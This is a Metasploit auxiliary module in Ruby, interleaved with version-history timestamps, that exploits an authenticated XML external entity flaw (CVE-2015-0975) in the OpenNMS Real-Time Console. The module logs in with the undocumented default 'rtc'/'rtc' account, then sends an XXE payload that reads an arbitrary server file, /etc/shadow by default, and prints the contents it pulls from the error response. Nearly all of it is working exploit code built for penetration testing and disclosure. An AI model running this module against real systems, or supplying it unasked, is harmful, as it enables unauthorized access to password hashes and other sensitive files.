2015-01-14 03:08:08 +00:00
|
|
|
require 'msf/core'
|
|
|
|
require 'openssl'
|
|
|
|
|
2016-03-07 19:19:48 +00:00
|
|
|
class Metasploit4 < Msf::Auxiliary
|
2015-01-14 03:08:08 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'OpenNMS Authenticated XXE',
|
|
|
|
'Description' => %q{
|
|
|
|
OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface.
|
|
|
|
Although this attack requires authentication, there are several factors that increase the
|
|
|
|
severity of this vulnerability.
|
|
|
|
|
|
|
|
1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the
|
|
|
|
core of OpenNMS is that these components need to run as root to be able to bind to low-numbered
|
|
|
|
ports or generate network traffic that requires root"
|
|
|
|
|
|
|
|
2. The user that you must authenticate as is the "rtc" user which has the default password of
|
|
|
|
"rtc". There is no mention of this user in the installation guides found here:
|
|
|
|
http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default
|
|
|
|
admin password of "admin" for security purposes.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2015-03-18 12:17:44 +00:00
|
|
|
'Author' => [
|
2015-01-14 03:08:08 +00:00
|
|
|
'Stephen Breen <breenmachine[at]gmail.com>', # discovery
|
|
|
|
'Justin Kennedy <jstnkndy[at]gmail.com>', # metasploit module
|
|
|
|
],
|
2015-03-18 12:17:44 +00:00
|
|
|
'References' => [
|
2015-01-14 03:08:08 +00:00
|
|
|
['CVE', '2015-0975']
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jan 08 2015'
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8980),
|
|
|
|
OptBool.new('SSL', [false, 'Use SSL', false]),
|
|
|
|
OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']),
|
|
|
|
OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]),
|
|
|
|
OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]),
|
|
|
|
OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"])
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
|
|
|
|
print_status("Logging in to grab a valid session cookie")
|
2015-03-17 14:20:22 +00:00
|
|
|
|
2015-01-14 03:08:08 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
|
|
|
|
'vars_post' => {
|
|
|
|
'j_username' => datastore['USERNAME'],
|
|
|
|
'j_password' => datastore['PASSWORD'],
|
|
|
|
'Login'=> 'Login'
|
|
|
|
},
|
|
|
|
})
|
|
|
|
|
2015-03-17 14:20:22 +00:00
|
|
|
if res.nil?
|
2015-03-18 12:17:44 +00:00
|
|
|
fail_with(Failure::Unreachable, "No response from POST request")
|
2015-03-17 14:20:22 +00:00
|
|
|
elsif res.code != 302
|
2015-03-18 12:17:44 +00:00
|
|
|
fail_with(Failure::UnexpectedReply, "Non-302 response from POST request")
|
2015-03-17 14:20:22 +00:00
|
|
|
end
|
|
|
|
|
2015-01-14 03:08:08 +00:00
|
|
|
unless res.headers["Location"].include? "index.jsp"
|
2015-03-18 12:17:44 +00:00
|
|
|
fail_with(Failure::NoAccess, 'Authentication failed')
|
2015-01-14 03:08:08 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
cookie = res.get_cookies
|
|
|
|
|
|
|
|
print_status("Got cookie, going for the goods")
|
|
|
|
|
2015-03-18 12:17:44 +00:00
|
|
|
rand_doctype = Rex::Text.rand_text_alpha(rand(1..10))
|
2015-03-17 14:20:22 +00:00
|
|
|
rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10))
|
|
|
|
rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10))
|
|
|
|
delimiter = SecureRandom.uuid
|
|
|
|
|
|
|
|
xxe = %Q^<?xml version="1.0" encoding="ISO-8859-1"?>
|
|
|
|
<!DOCTYPE #{rand_doctype} [
|
|
|
|
<!ELEMENT #{rand_entity1} ANY >
|
|
|
|
<!ENTITY #{rand_entity2} SYSTEM "file://#{datastore["FILEPATH"]}" >
|
|
|
|
]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}</#{rand_entity1}>^
|
2015-01-14 03:08:08 +00:00
|
|
|
|
|
|
|
res = send_request_raw({
|
|
|
|
'method' => 'POST',
|
2015-03-18 12:17:44 +00:00
|
|
|
'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'),
|
|
|
|
'data' => xxe,
|
2015-01-14 03:08:08 +00:00
|
|
|
'cookie' => cookie
|
|
|
|
})
|
|
|
|
|
2015-03-17 14:20:22 +00:00
|
|
|
# extract filepath data from response
|
2015-03-18 12:17:44 +00:00
|
|
|
if res && res.code == 400 && res.body =~ /title.+#{delimiter}(.+)#{delimiter}.+title/m
|
2015-03-17 14:20:22 +00:00
|
|
|
result = $1
|
|
|
|
print_good("#{result}")
|
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, 'Error fetching file, try another')
|
2015-01-14 03:08:08 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|
2015-03-17 14:20:22 +00:00
|
|
|
|